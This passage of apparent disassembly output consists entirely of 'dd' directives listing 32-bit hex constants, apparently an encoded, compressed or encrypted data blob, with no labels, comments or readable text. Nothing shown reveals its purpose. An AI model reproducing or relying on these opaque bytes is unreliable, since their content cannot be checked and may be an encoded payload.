7436A60h, 552325C7h, 36A07EF4h, 702CFF66h dd 79908E0Fh, 3EC7BED8h, 9660C042h, 1C2658EAh, 42E2A63Dh dd 4BFD69C1h, 0DAC7B048h, 37B0D1Fh, 4788EA00h, 0FC78C3h dd 0DB11E97Fh, 5C145F53h, 18B040FFh, 620003D2h, 2FEAD327h dd 30436660h, 4A2116A2h, 0AD7C246Bh, 15817904h, 10902731h dd 0FEA8BD7Ah, 0FB338FCh, 32524400h, 0C639A2AEh, 5FFF600h dd 0D759732Bh, 3E6200D4h, 0C82C3B8Bh, 32000144h, 9BDF1A39h dd 0EF4D72h, 0D12D24E7h, 0A54423CDh, 8EE3000h, 0B2FFD3FEh dd 488A73C4h, 181368C6h, 8340008Dh, 7088F892h, 7AD72700h dd 80C9DB6Bh, 0D0070EE3h, 3AA016CBh, 500D54D8h, 0B8D30800h dd 56D7124Ah, 0F03F00D4h, 4F66DE6Ch, 0FF00F902h, 637F52C3h dd 0AFF2B1h, 9D55ED94h, 0FD679FE0h, 0FCDA2706h, 7358D779h dd 1A80381Ch, 0DF992200h, 0FBA3B041h, 6AE42900h, 50ABE42h dd 0A13D0034h, 682AD3E1h, 0C0D2D819h, 0A40609h, 0DB011501h dd 0AD200059h, 707374AFh, 1D3BA6B3h, 8736BCB1h, 0E8A467AAh dd 85D6A830h, 9D640340h, 4E0167Ah, 1358AA98h, 0EF36351Fh dd 0A68FE180h, 3F5A736Bh, 0C91DC61Ah, 1376C0D2h, 6A7ABAC0h dd 0DFD6AA00h, 9AFF7064h, 0B8203A0h, 7553DA8Ah, 0E4811C81h dd 0C279C533h, 188994Ch, 90E82474h, 10819645h, 5AD12344h dd 346D20ECh, 0FC021C00h, 476AD72Fh, 40796Bh, 0A51B7EB3h dd 50D46997h, 0CBEBE800h, 0A3230A48h, 0C44903B4h, 0C8020E3Eh dd 17B9F3A0h, 82A1FF2Eh, 6C7F6900h, 20758CFh, 0C5E87C6Fh dd 0A460200Fh, 4B02D3BAh, 0C0D23217h, 0A9C86140h, 33A20h dd 9116423Ch, 3E47112Eh, 43D4448h, 0D92446F7h, 0C322C8C1h dd 0D8614986h, 0F400E14Dh, 3489D5B9h, 142075CCh, 0B4A2BF92h dd 0E8359C07h, 57760050h, 2B0032B8h, 0E28C6305h, 80A12Fh dd 8E6FB383h, 0A493E9F3h, 73301300h, 0F9BCD84Ch, 18AC1FD5h dd 0F1DFC0C4h, 0B40EAA50h, 8964D60Bh, 2B6800E7h, 4267D40h dd 66810974h, 0B498C059h, 940F1237h, 20AD5BFAh, 0CE4D8A9Ah dd 6DC907C3h, 10D20DB6h, 0E63E9E85h, 0BC180224h, 36659300h dd 3EB846E7h, 581AA5h, 51604E00h, 16408F22h, 0C83C6E00h dd 0BE86B509h, 49A73D37h, 0B70D2Ch, 0F21DA8DDh, 80C0AA94h dd 19E123BEh, 756207B2h, 0BBAC6ECEh, 96ED4001h, 2264C8AAh dd 435BACA0h, 0D44140h, 48E73236h, 0B4850DE8h, 18FFB709h dd 0A208204Eh, 3091FB2h, 0D672434Ch, 5CA84FD4h, 56002F96h dd 6E53F4A9h, 173E34h, 6A4EF11Bh, 2D100DE6h, 58C4E900h dd 3D5FAE83h, 0A7100DAh, 0DC04D859h, 3C0124B1h, 17733567h dd 0E6C80C11h, 0E334007Ah, 0E4533E72h, 960BFA8Bh, 50E278D2h dd 0A8D90090h, 0C8F6B426h, 347168A5h, 3DB0C300h, 9615F0CCh dd 47933B73h, 8D35BF01h, 8044A111h, 2B9CBBE8h, 17C9785h dd 0C80E6187h, 0C75DF335h, 0CFC788C0h, 0E34F1C00h, 0CCE0CDE1h dd 46760030h, 0DFC3D113h, 0D200FFB5h, 7202650Ch, 1DFE3A4Bh dd 0FE462E1Fh, 4076F913h, 5DD93D70h, 0FF00DE51h, 3B0AB6E8h dd 4B0B98h, 0B03F0C14h, 27BB42Dh, 0BC323A01h, 0FF2B9A7Ah dd 3823A030h, 0B68018BEh, 0B83AB0CBh, 34B1BC89h, 3326053Ch dd 0B70729C3h, 0D8619824h, 86D75D0Bh, 6A00040h, 8F0318D3h dd 3D000513h, 76CC0B85h, 0F45910h, 5FD0A1DEh, 31B6C91Fh dd 38B32600h, 66080BBCh, 741A7CA8h, 8297003Bh, 7E400656h dd 0B05C14A3h, 0D7960050h, 0FEFFF89Bh, 4C816546h, 8CCCC0D6h dd 0A500C757h, 7675DD7Eh, 36AA44h, 0B5456533h, 0C9DFE081h dd 1026ACBAh, 909208D6h, 0D1D34905h, 3982DA1Ch, 4074EC8Bh dd 16F195E8h, 40E1FABFh, 0C8DBE320h, 7F0087BDh, 0AD3BC7FBh dd 7E90D246h, 51CB803h, 26D99CEEh, 67AC00C6h, 0CA5A7F9Dh dd 245280h, 2D68B977h, 6711C48Dh, 78C1948h, 6C72E8ACh dd 0C09DDAB3h, 3983781Ah, 0D200E438h, 986A08A2h, 0AB0AECDh dd 0D03448h, 6CBD0416h, 0FE64D2h, 38CE13A7h, 600D5D29h dd 3A9A4Ch, 0B4AA650Eh, 5C2CC2h, 1E67FB0Ch, 1319D459h dd 3FE6100h, 357B9DD5h, 0B6E150D7h, 968B1317h, 9C983136h dd 0ACA30031h, 1B403B1h, 0E459D0C3h, 536F788h, 415D1603h dd 0C88DAA5Eh, 381AC67Dh, 7400DD2Fh, 0EF92DBFEh, 0F0E1B9C7h dd 27E22365h, 0C59D571Eh, 42BC2D80h, 1DFE44B3h, 7FBA4B07h dd 1B932F0Eh, 0A62750C0h, 0BD7DAC5Bh, 94763800h, 2E7D20BFh dd 0C46C02AEh, 852FDE87h, 1127450h, 3600256Bh, 94CDF572h dd 90430070h, 21D76133h, 71F26BFBh, 0E0055E76h, 664168A8h dd 0A71DACC1h, 0FA4AF4h, 162B4744h, 34EF062Ch, 86DFAA00h dd 5AB5797Fh, 4F6400FBh, 0A7773F0Fh, 0BC00BB46h, 0E12E6BFh dd 72443AF2h, 0A5DA0951h, 27800925h, 0EFAC680Fh, 0D121E1Ch dd 6FEE04C0h, 3ADC1C5Eh, 0AF001D5Bh, 0B9479209h, 7009EBBh dd 52867764h, 1C03B5Fh, 22C78E82h, 60D4E043h, 0B8EE50h dd 0E2A35300h, 6A9BA567h, 4B661CB7h, 658803Bh, 0A005E830h dd 8D369E00h, 144269D5h, 8B2F039Fh, 0D3774562h, 0A5A0BDE3h dd 0F400FA4Dh, 959CECF7h, 1BC22F9h, 0DA5DBBE4h, 0E4EAC4F8h dd 0B7000E50h, 7A63A7CAh, 0CED73Ch, 0D373A686h, 0F18F5437h dd 69FCED60h, 0E01D7985h, 9195005Bh, 85983A8h, 0C9004E15h dd 8F52F1BDh, 0EA6772E9h, 0A94D01A2h, 0FE332496h, 8C60CC6Eh dd 2225C300h, 0D556B9A8h, 0E5AA7052h, 6938F4h, 4482D168h dd 0F3CF277Ch, 1A3B6402h, 8FF16BDFh, 0DED900F8h, 779A12h dd 45717380h, 84540D40h, 75C2C600h, 5C362F2Ah, 3CA300A5h dd 14A87DE6h, 39004866h, 0C70D27AFh, 30F8EDAh, 0D5DFD7BFh dd 0D0C878B1h, 8007847Ah, 95EE85C9h, 27BEE750h, 0B6990009h dd 0F36C1C2Ah, 0F500CA89h, 844C5C8h, 9739460h, 1A6D055Fh dd 40993400h, 311228C2h, 38477D01h, 6910C845h, 0F8BCC9DBh dd 80E800BEh, 125397B6h, 0CD00304Fh, 7F39CA2Dh, 0D95C34h dd 0F88A9C9Ah, 98A732FBh, 26387C00h, 36F0BB65h, 562000E6h dd 0B9827044h, 0A800E8E0h, 3C075919h, 4BA4218h, 81EE16Eh dd 0D1A5C0FFh, 0C813D99Ah, 0B080222Fh, 4831F457h, 820934E9h dd 508064B5h, 7FD799B0h, 0FB239C1Dh, 0C7C52042h, 12E5808Bh dd 587A102Ah, 0B40072B6h, 35732E22h, 4D00880Ch, 282FA0DDh dd 61200348h, 0FBF79024h, 0FE62D45Dh, 0C6049D75h, 94475791h dd 3FED3900h, 661DFF6Ah, 81CFBD3h, 3EAF7FC0h, 1097731h dd 3B654864h, 31A86039h, 0E790EBD8h, 0C900795Ch, 0F79DA991h dd 2C9FFD45h, 38FACEh, 235B7684h, 1200144Eh, 0C0E7A615h dd 7F0D533h, 0E2B31ECEh, 8AC4C352h, 29E62FC8h, 0EC3E4E76h dd 87DB960Eh, 0D5542044h, 8280D242h, 232F8080h, 7E00F76Eh dd 1E4EC196h, 1F2CC9h, 0A174DB80h, 0B8BCE81h, 20FB1700h dd 0A2495D69h, 0E844F116h, 7D6098A0h, 18015878h, 7C27B100h dd 5916758Eh, 0E3F51012h, 4F316718h, 8B3E09B3h, 0D8C03DE6h dd 100FE73h, 58952FD5h, 5161F6h, 0E52FF12h, 0ED3247FAh dd 0DF851D09h, 1A1F8095h, 49AF814h, 2EA009E1h, 7434B035h dd 0E41DC370h, 47C0D3D6h, 9B6934AAh, 5CEF0060h, 7DB9A71Fh dd 3200C280h, 7C4F3D9h, 0DAD27Bh, 0C1F8E409h, 28D472E0h dd 88AE022Ch, 0E6A2E100h, 73B4540h, 5B7E6B9Ah, 0A18E007Ah dd 0E300D805h, 52441A5Ch dd 2E4AD33h, 3580D532h, 0EC843189h, 0F3E481CCh, 0EC84F5F5h dd 0A4009002h, 2BD9E686h, 5842594Fh, 9A0096FAh, 0D0D4DA73h dd 5700832Ah, 6247C0A2h, 0B0C2B223h, 7C8A7618h, 0E8B09Fh dd 0A098D4D0h, 8E44DEABh, 5E00C690h, 2EAE4A5Fh, 2A94F0h dd 9F7AEE33h, 0C0A5CBF2h, 0E988290Ch, 7098C2h, 4A75D48Fh dd 5D451D4Fh, 533D1CE0h, 0D5F90077h, 90071F35h, 0A47F00B6h dd 0B0EDE1CDh, 0B20F484Ch, 0A09C1953h, 0C754155Dh, 0D4C8281Eh dd 20034BC0h, 0E77EDDACh, 72D7E303h, 0E141565Ch, 7870912Ch dd 0AB6A0771h, 0E3597742h, 898F9E1Eh, 0D392F460h, 0C9A8E700h dd 0D9A9A147h, 0CEE20371h, 2EC2027Eh, 31CBF198h, 483A5D00h dd 4C097458h, 207A0005h, 0DB71B3ABh, 0E80003FAh, 82CF1151h dd 48184E1Ch, 0F93D2497h, 30F29480h, 8A1D56E7h, 4400867Ah dd 2882CDE8h, 314FF76h, 0A0E411D4h, 8769AFh, 79EE7E2Eh dd 0C9DD1B03h, 0D0614836h, 3C0B3FA6h, 0D1827DA1h, 0C11A1612h dd 0C2D854E0h, 0E105897Dh, 0E0A56D62h, 9D249040h, 9BF431h dd 0DA50ED64h, 0F5EE1E62h, 4DECFF00h, 0F72DA497h, 0E6063817h dd 0EBEAFBh, 0B4BA8F22h, 0EA70FCEFh, 0B3DD2403h, 0C2298CBEh dd 9550406Fh, 408A4EC8h, 71F41484h, 0B200609Fh, 5B589E62h dd 15FA874h, 0CFBE0F80h, 0C04EF3E2h, 8BE2FEB3h, 0F5F8D5A0h dd 0B75972Ch, 7DA0D700h, 1D6B25C2h, 65A43848h, 0A8D23C21h dd 0E11C3064h, 2F107907h, 30A0C911h, 1DD3B6B8h, 40DC92D9h dd 60A2D513h, 56052171h, 0D18F77C7h, 8C3C8400h, 0BA0B9DAh dd 0EB3B8831h, 0DBE75060h, 0F0253D00h, 62B5D2F3h, 12937F8Ah dd 80B4BBCBh, 0C21CF404h, 6B3EEF02h, 0E89B5B7Bh, 33CC778h dd 1AA461C0h, 0BFBBD7BEh, 0DC98A0D8h, 4426F300h, 18EAD2ADh dd 0E49B0B07h, 5900EB0Eh, 128D9695h, 51889300h, 9509F04h dd 7BE053h, 27647103h, 4B10A6E6h, 0E562AC00h, 0B0762344h dd 0B78613CBh, 0ABB08011h, 0E818A749h, 360EA667h, 0EE5A0015h dd 66CB8F6Dh, 0A17A1837h, 0F2113300h, 62DD9F3Bh, 0E10300F6h dd 0A88505A7h, 553A786Dh, 0A580092h, 462A262Eh, 86670062h dd 0E79BD37Eh, 1D02AA1Bh, 3EC502A2h, 0A3E0E0B9h, 84802D3Bh dd 0FD146CA0h, 5E4F6C5Dh, 0C00BDACh, 9F1D847h, 75FEAEABh dd 2F007479h, 8ED79DC4h, 1540601h, 0ED94F40Ah, 0E349706Eh dd 203AF1E8h, 2A6CBD07h, 3E10B119h, 171BB0E5h, 90EAF8h dd 0C69E8605h, 8F008B08h, 379A3EBDh, 0FAD5302h, 2B5F33C5h dd 0A53020E0h, 16006462h, 4B7B445Ch, 386BF5Ah, 0B88B7FC7h dd 0C8B34305h, 0C20B53D0h, 0DD90E00h, 96B71850h, 1B3B0329h dd 0A5161CBAh, 0E0125CE1h, 8E144E79h, 7CC04733h, 42A3A40Fh dd 948FC07Eh, 24695706h, 3F9880FEh, 0D56048Ah, 2732CC2h dd 0C520AA8h, 0E40F8689h, 0C0566505h, 0F0ED8C20h, 151C7F00h dd 1DA43BC6h, 0FFD25CB7h, 2B380B7Dh, 5C202301h, 0C45155B5h dd 9F46600h, 2DE25E76h, 0D9141ED8h, 751833A5h, 0BF009A7Ah dd 96F843Dh, 3999F8h, 0E01406D3h, 4AAE8813h, 0CE76511Fh dd 0C344CA80h, 30BE1CD8h, 1868D726h, 2104815Bh, 0AC4A98E8h dd 0EEA01C00h, 0F400B2D5h, 0E7D089C3h, 0B25117A9h, 7282810h dd 0DAF854h, 0A6CD49F1h, 2513E674h, 560A9100h, 94865290h dd 0AD79006Ch, 0EA3D244Bh, 5026C576h, 8400B820h, 0F1ED13A3h dd 0FD1D0036h, 63717983h, 0D500A026h, 0C71E3785h, 1C934AF8h dd 40823E40h, 321B0D2Bh, 3103F755h, 2E99F256h, 0A17EA8EAh dd 39620795h, 22FD2D0Ah, 72404DE5h, 0D4019C08h, 5B8EA038h dd 4BDCE780h, 553B39DAh, 0B77A4780h, 292748F7h, 505FE500h dd 4D332E98h, 815D3FBCh, 0AFC800CFh, 0CA32DC45h, 0D8F92007h dd 1030C9DAh, 0B0EC39F1h, 0F0D400F8h, 0FF56970Ch, 0BDE27999h dd 9E6F4300h, 84A194F3h, 145058C0h, 0F610007Fh, 462BDBA9h dd 310726E6h, 4F84605Ch, 0C41BCA32h, 96420F78h, 54E75D1Eh dd 2AE60F7h, 0D100C2B0h, 1B906F41h, 79A9B23h, 1AD462DCh dd 3B30D0C0h, 7B17E4BEh, 0AC1FF8A1h, 0A05CB680h, 1160B42h dd 58782CBFh, 0E01ECD6Bh, 2700CFC3h, 0DA523F46h, 79E232h dd 0C1B7F514h, 9669081h, 0A4005670h, 570C786Eh, 93F17F8h dd 0D7493AA3h, 4D5EA480h, 3D0063D9h, 0B86F7567h, 43CAD31h dd 0C3F21AD3h, 5169C04Ah, 41E00F8Eh, 30D0F300h, 5AB866FDh dd 0FC05E821h, 77A40157h, 0CECDF174h, 4C7C68E5h, 0E4F726BCh dd 0D9C9E200h, 898024h, 5E28B934h, 0F1CE0850h, 0EC1A21C0h dd 43721B6h, 52E87C51h, 8EA4D0C0h, 0DD3F4E6Ah, 100F36Bh dd 5FA9D876h, 2DE7A8h, 1591CF71h, 0C2260812h, 0D30B1009h dd 0E0F68002h, 32EDD8h, 0F0A164AAh, 9047E1E7h, 4C006EFEh dd 8C717A4Fh, 71C4162Ch, 0B079033Bh, 0A563B6EAh, 1348BAF0h dd 40324300h, 99E29D52h, 0D3EB00FDh, 0FAF4B576h, 0C700A24Fh dd 723995C9h, 0F10C31Dh, 0CF010B41h, 4483AE80h, 0BF00F79Ch dd 1884430Dh, 4E7250h, 9137E479h, 0B95E223h, 4386B600h dd 0E528AA57h, 0D85300B7h, 5EA9132Ch, 5203C709h, 62399CDCh dd 0BC57E0DEh, 534000AAh, 5614E3E6h, 54EC3824h, 0B5790C04h dd 57C03FA2h, 16948Ah, 0E5E1EAFBh, 961970EFh, 554E9E1Bh dd 43F6C2C0h, 6415C081h, 0F53B0049h, 3E139EC0h, 57000FD2h dd 46B9A932h, 458533h, 687E787Ah, 99A86F23h, 8015503Bh dd 30ABE0C0h, 67BEA5Ch, 33E7EF83h, 3F00D081h, 0D2E892B0h dd 3C7F65Eh, 98206B5Ch, 200085F1h, 396C293Ah, 379BB1h dd 59D60350h, 72385842h, 66223007h, 9BD0A556h, 7DFD0FDh dd 76E88CD3h, 0E11D80E4h, 0B203C6B3h, 7CEC448Fh, 89AD98D5h dd 0D82006Bh, 763A1B52h, 0FB07EB74h, 0C4E6E749h, 61064E61h dd 80A8F19Ch, 0FC0E3045h, 0C40097F3h, 3A08CB7Bh, 0D0A3EEh dd 0CA53FA69h, 1D83A401h, 50B4F309h, 5AE987D6h, 6420EE60h dd 4CED3B78h, 16ABC912h, 12CE0020h, 8EC8734Dh, 3BA8A85Ah dd 1C5EC440h, 98C06682h, 46DB8A7Dh, 97C388C0h, 3A80EEA8h dd 5DBBCCB8h, 3C93F180h, 24D05CD5h, 99917000h, 0D1A4D213h dd 87AF0FEBh, 96809892h, 0C5C2AD23h, 8D10CC00h, 8DED8F5h dd 0E8027F60h, 7AF000CDh, 451DA6C2h, 3A0035D0h, 0CBA8C494h dd 7669E333h, 7C9B00B8h, 0FB8FED9Dh, 1200BE8Ch, 61DD54EFh dd 7FDBAEEh, 34EAA96Eh, 0F106203Eh, 4200F990h, 5E841F3Ah dd 5E11B02Bh, 81F8B9h, 38F17583h, 0FA4819h, 0BB9F16A0h dd 0AEF5B433h, 11EBC200h, 0EE8F2A1Bh, 0CE400050h, 947F0412h dd 86792B19h, 0DE9A4F03h, 757C27Ch, 81F94D88h, 880DC08Fh dd 367167FDh, 0A46C0800h, 621E153Fh, 0E0E851h, 6426E723h dd 7B27A166h, 0D08F521Eh, 38A78C48h, 0F0D8689Fh, 0FB4A1D41h dd 347EC5F8h, 1BE0C261h, 1CE4A080h, 4DCFEC9Ah, 96581057h dd 0AC829000h, 0CCEE77AAh, 62F6EA00h, 7A296792h, 0E9630C39h dd 51686F7Ch, 23217100h, 0BFDCB72h, 42E8008Dh, 0F2D81BCh dd 0D9051EAAh, 14A86B9Bh, 6748880Fh, 77C351ADh, 59C2E8E6h dd 54854926h, 0D37DC15Bh, 5FD570EBh, 9810C000h, 73FD3205h dd 82AF0072h, 593BD577h, 3624E7FBh, 3990FFh, 52AC83C8h dd 0F89C51h, 377471Eh, 2C255D7Ch, 57486300h, 0E805BD45h dd 7867664h, 31A97313h, 0C0C18418h, 69E53D8Ch, 0EDE7F501h dd 0EA84F00Eh, 3781920h dd 3BF92874h, 0F7F171EBh, 832CFC15h, 10129600h, 6B84787Fh dd 9BB0A0EFh, 0DDF1028Eh, 72CD3322h, 665EC080h, 0D30046EEh dd 0B5F88978h, 909215h, 180930Fh, 6F213D5Ch, 0AEEBEF07h dd 386C7147h, 3CE1079Ah, 0E05A99DEh, 43E9E1Dh, 0F7682700h dd 77F410B9h, 46670060h, 0BFD3BD08h, 87011266h, 0CD984818h dd 0D0E87437h, 694F003Bh, 4581DE0Eh, 9700E1FBh, 0ACF97308h dd 0F810F117h, 86A9265Bh, 91AD004Eh, 49F7CA07h, 0CC835900h dd 274AF236h, 2915002Bh, 1C5C06C8h, 0A3030434h, 2D9E77A0h dd 9F2CAB45h, 40A43EE0h, 0B291001Dh, 0CF4D5746h, 490901BEh dd 80A143B7h, 0A0D19F1Eh, 1DE70070h, 30B5B22Eh, 0D800FA24h dd 29ED172Bh, 98280DABh, 139D1C2Fh, 9BEC8086h, 1ABE1575h dd 0FDC23D00h, 4FE95989h, 0FC5800B9h, 0CA3CE7B1h, 0CD00145Dh dd 80674BBAh, 0E23949E8h, 0BF9000B5h, 0BD4CF357h, 28901482h dd 7DA96405h, 0B280D6A7h, 24B7FD3h, 0F5488B7Bh, 0C439BABh dd 1BDC5AFh, 910A1588h, 301CCFF1h, 52406CAEh, 0E0AD78B6h dd 0FF5401EAh, 69B22F98h, 76F07F1Eh, 162E4C9Ah, 40A23F1Dh dd 0D72A9413h, 0DD3CEB7Fh, 80FB3D03h, 0C512CDBDh, 582EA2Bh dd 0DA1C3645h, 0F2D89019h, 88C03EF8h, 216F2D72h, 74107436h dd 0B61F1F26h, 442170B5h, 0B498CFEDh, 140728EEh, 0C44EFB18h dd 33A4A741h, 186050BCh, 0EFED3DF4h, 0E49AF700h, 6EB6FE0Ah dd 8CA7009Fh, 0CA7C45C1h, 3340DB2Bh, 1F37C49h, 95526BA6h dd 0F1FD284Eh, 6C3C40B4h, 78786F4Dh, 5ECF621Ch, 89D3E1CCh dd 5F8D0136h, 0D14E358Ch, 851170EDh, 963E4D1Eh, 0C414096h dd 75F9778Ch, 32F116D1h, 0F6BE0C40h, 9C84A81Bh, 975F2E9Dh dd 40DE1CF3h, 2F48A784h, 0E9018AE3h, 523CD89Bh, 6680C1E5h dd 7C21BB9Ah, 7D042554h, 0BC49F477h, 85FA8280h, 0ADBF03A5h dd 5A6DC9BEh, 0DC868BC9h, 0B9009187h, 15B4878h, 929AD6h dd 2A978168h, 8FC006CFh, 0B06DB53Ch, 0B043A038h, 0D32D24AAh dd 728605D0h, 0C27AC01Bh, 1C137E4Eh, 0F0009870h, 0F048FFDh dd 694600D3h, 2E40BF2Dh, 541F960Ch, 0D24042E0h, 5156C0BCh dd 53BE5839h, 0ABCD6100h, 0DB52C5E9h, 9276F61Eh, 0EA15A5C0h dd 1C784BCh, 6C0B04C2h, 0E89A349Dh, 0E400872Dh, 0DB54FC98h dd 0CCD26Fh, 7E17C04Fh, 0EFE9DFB0h, 34529300h, 8B2418FEh dd 0E14100FBh, 1368649Eh, 44006785h, 7757F592h, 1BA637Ch dd 46CA989Bh, 804E4AFFh, 64612C12h, 2480D0E0h, 0BC114Fh dd 84E22520h, 27717F3Eh, 33FB20C0h, 1F6138D8h, 0C02A5CD6h dd 0A7B4F19Bh, 2700C641h, 11F57D78h, 701B581h, 28F0208Ch dd 0F271704Eh, 0B11EE93Eh, 71B05F50h, 0FEBA5D4Ah, 0A380BDDBh dd 0D566EA09h, 0FD63B901h, 1F387305h, 1224570h, 0F103CFF8h dd 0F4FFD114h, 2103A8DDh, 7571B490h, 0EA7290B9h, 4C1D0341h dd 73B8AAE1h, 8CBD1000h, 84F160FFh, 0BA3D0752h, 0C04B7B3Eh dd 94DD550Dh, 35B9D600h, 0B2420E11h, 62210082h, 0BE9B8E5h dd 610059ADh, 16A27B97h, 0EF7012h, 1C72BE7Fh, 65BB8F5Bh dd 4C73A13Eh, 0D43D7ADAh, 77270042h, 0E93BF52Fh, 0E303036Eh dd 0A032DA7Bh, 70A426A9h, 0DD003A66h, 7161F2AFh, 1D36DED2h dd 52CE4F7Dh, 5980E40h, 880B7640h, 0C5009429h, 2C6AB123h dd 41C390h, 1CCF8E54h, 0A8D42BCDh, 0E2C7F500h, 0D9A3585Dh dd 3F78E44Fh, 0E4801F8Dh, 0ED5247E0h, 8F022671h, 0AD6E6415h dd 0A0B48065h, 1ECF365Ah, 40D3391Fh, 633BE4FEh, 1C00E9C9h dd 7BBFCC6Dh, 0F5490BCh, 7ADC5DDEh, 6AD400BEh, 5EB0A0E0h dd 55A75B00h, 7D9F234Dh, 0AB14006Ch, 531A3D0Fh, 0BC007797h dd 0B332B4Eh, 70C89Ch, 91566F9Bh, 0FA903BFDh, 513CAF00h dd 6927B220h, 7B4E42Eh, 8AEF2C39h, 26ADC049h, 0A70FE428h dd 0E045FA6Dh, 2F07CDF7h, 948500BEh, 49250431h, 8F1D0E55h dd 0F140CA44h, 0F677D5E3h, 0EC5B0013h, 0A63B69C3h, 5000BE41h dd 74666A60h, 38ADF7h, 0D0E5865Bh, 87AAFBDBh, 0BB59FA1Ch dd 1B337C02h, 0C948267h, 0C3D01854h, 428D4600h, 0C9F7C8D6h dd 90585059h, 7B80F66Bh, 99DC0098h, 82E955A6h, 75000688h dd 54082556h, 12CBFB3Ah, 14EBC7A0h, 0E40059BFh, 0F50A965Fh dd 0C50019E8h, 7B9C55BEh, 3EA1BCFh, 0EB639899h, 74F88073h dd 0A924DC84h, 67035CD7h, 0F87DE354h, 15CC1A0Fh, 0D07F5785h dd 1C1C6426h, 721CC010h, 8A37C102h, 0C27DE401h, 0CA758C41h dd 1FAA90F4h, 0C15F09CDh, 7F76FD36h, 792A30C6h, 0D786C200h dd 0A7477A80h, 0C8460025h, 6123B1D9h, 0F47F60FAh, 0E38CDE00h dd 0D1CD365Fh, 0D7DB58EEh, 0D6CB4800h, 0B07F370Eh, 0FC81A71Dh dd 959B1AC7h, 4A47B960h, 0C8110358h, 24058D75h, 0C5077600h dd 0A212640Dh, 9D29006Fh, 0D1FEE2FDh, 0BEFE578Eh, 7B7AE100h dd 592B08B5h, 0F78779C0h, 4FEE8440h, 0DCDE098Eh, 52001B8Ah dd 9BB1974Ah, 0C0001875h, 0E4569496h, 0F916ACh, 72872A83h dd 0A4D4AFE7h, 7D049F00h, 4F573DE6h, 0D3BC00D6h, 9A11CFDDh dd 380068E0h, 0A1DCECABh, 1DF2D816h, 0C05A5253h, 0EB3BD19Eh dd 9B266F99h, 94806063h, 1D34873h, 0A6290121h, 859881ADh dd 0A9CC40CFh, 0C20FF35Ch, 6BF524h, 0BFA08B57h, 0D6CF062Bh dd 18F6DFC1h, 6DB99300h, 25E9EFF8h, 155D1CDDh, 0FC9DC21Dh dd 40DB33h, 0DF0038B1h, 3A424B50h, 183933Dh, 0DAE8F637h dd 30C930FEh, 0D9012658h, 0E1EE9505h, 14E0DB5Ch, 52FE78h dd 0F0B96C88h, 368FFA12h, 0AC76E101h, 9CAE2E5Eh, 0DBDEE440h dd 7329008Ah, 88E2213Ah, 0F0006C5Bh, 57EC47F9h, 4C9CC24Bh dd 62192948h, 0DC68D8CBh, 580036CCh, 50FAD815h, 98BFB6B8h dd 9FE071h, 3DF31F0Eh, 8C5C2D10h, 7A000874h, 0D2B03C5Ah dd 1E989E1Ch, 0C068F6B3h, 575EC58Eh, 0E773D4Eh, 0C806B900h dd 94911BFAh, 0F677AE2h, 0E155DD08h, 9ADCB60h, 8100C26Eh dd 0AB32CCA9h, 1D660859h, 7FC582h, 60F72997h, 8B0080D5h dd 31746AADh, 4D4F2FFDh, 0B80074B4h, 0C8E9FC4Eh, 510316D3h dd 17240259h, 27B9B0CAh, 3F85072Fh, 30B154DFh, 9CACB24Ah dd 0D7014771h, 2DB78734h, 9EE8DCB9h, 3FE6099Fh, 340167AFh dd 20A1E1E9h, 7E3B88C0h, 0E0F1834Fh, 0D0577922h, 50209h dd 0F175916h, 0A64B6B0Bh, 42CEE00h, 0EB397A53h, 9D4F005Fh dd 65E3BA51h, 52001378h, 0B7DAD7B3h, 18A611Fh, 0C5C8AF87h dd 70A8F29Eh, 11008D4Fh, 0EEF9C1CAh, 0E73FEFh, 82F04A9Dh dd 0E0971327h, 26B33405h, 88909165h, 2E55F199h, 0B64BD3h dd 0CF0E4352h, 2C00BF2Eh, 3CEC48B3h, 3DFA10h, 0F776E929h dd 8DE61438h, 75A44105h, 0D680E3F6h, 0E0439F84h, 0D44F0113h dd 56A859DCh, 0D58EF873h, 50E6DC90h, 4991BB01h, 0BF7A297Ch dd 833E1058h, 0BF07997Ch, 0D9D10175h, 7040FA47h, 0C592533Eh dd 0F6E621h, 0B262AC1Ch, 8C0550Ah, 830F2006h, 7F3DF24Bh dd 0D5F400D2h, 0CFFEDC7Ch, 0E00636Ch, 745E6636h, 2CC7E129h dd 8D000975h, 80C01902h, 0B3125659h, 0F05DE331h, 2750FE1h dd 0DEA08713h, 0DC47B149h, 1656FB0Ch, 3A94410Ah, 4840D1DBh dd 0FDE8A460h, 7A87C8Ah, 0AAFA3081h, 0EDF65062h, 61014424h dd 6B1ADD99h, 0B140FFC5h, 3EE224Eh, 72C2BD49h, 0C0CC43E5h dd 9A0E5676h, 52007AFAh, 71858B76h, 0E84407C9h, 209200CBh dd 406B5130h, 370DD6C0h dd 0E8B1C366h, 155989Fh, 41DC5393h, 5194E4A8h, 213808CCh dd 920E01CFh, 300CDA43h, 0E41DD475h, 9B89C415h, 62D00EB8h dd 6C183941h, 4318F0h, 0CAE5CE9h, 0DB3135B8h, 9EBDEE18h dd 160F8731h, 3D7CD17h, 7E60965h, 21810830h, 0F170C26h dd 920A553Fh, 0A86541C0h, 3C604889h, 952DF58h, 0A870D12Fh dd 3603D507h, 11D73608h, 0D1C75900h, 0B2FA550Bh, 0CA3E26D2h dd 354A0C2Ch, 0FF0FEBD8h, 1D62A1D3h, 584116C0h, 156A8199h dd 94E2482Dh, 0BC00BF23h, 0E1DC1F94h, 3A4486A7h, 0B8AEC0D3h dd 3E9C78AFh, 35E29700h, 2673F5Fh, 22100FD9h, 3BC139E4h dd 0C0A2B979h, 78C0D044h, 61B8F865h, 0B640055h, 760CE089h dd 0C2002711h, 309FE114h, 2E6C40h, 7ED1F720h, 0C3BD3F97h dd 0EA06BA00h, 6657D76Eh, 63550FFEh, 69E08B3Bh, 6430A320h dd 1F15EC00h, 4A59245Bh, 0EF5D001Bh, 67A6967Dh, 0A8013A76h dd 1442AA6Fh, 5AD8684Fh, 0C5E8009Fh, 0A73FAFEBh, 500FE08h dd 6B5CACABh, 0FACD87h, 0CCC3ED37h, 85719107h, 51AF3200h dd 0E8DD604Eh, 74B903D9h, 4F82FCB3h, 0C2BF9EB8h, 77D6BD07h dd 0D480B64Ah, 142B76D5h, 0E3A7C33Dh, 74851Fh, 64A2BAF6h dd 0DCF0BC39h, 4B3B3C00h, 431BE4B2h, 8DF801A7h, 5A462286h dd 970E60ACh, 2A87A400h, 0FF2BD437h, 0E0A2007Eh, 2C20B913h dd 0DE071536h, 55F9F29Fh, 0AD00D7F5h, 41608CACh, 93690762h dd 30BC4ADDh, 317AAA33h, 600BF74h, 554DBEBDh, 7BB70Fh dd 3A20E2B8h, 0A7CD0EFEh, 0D9A0100h, 71566578h, 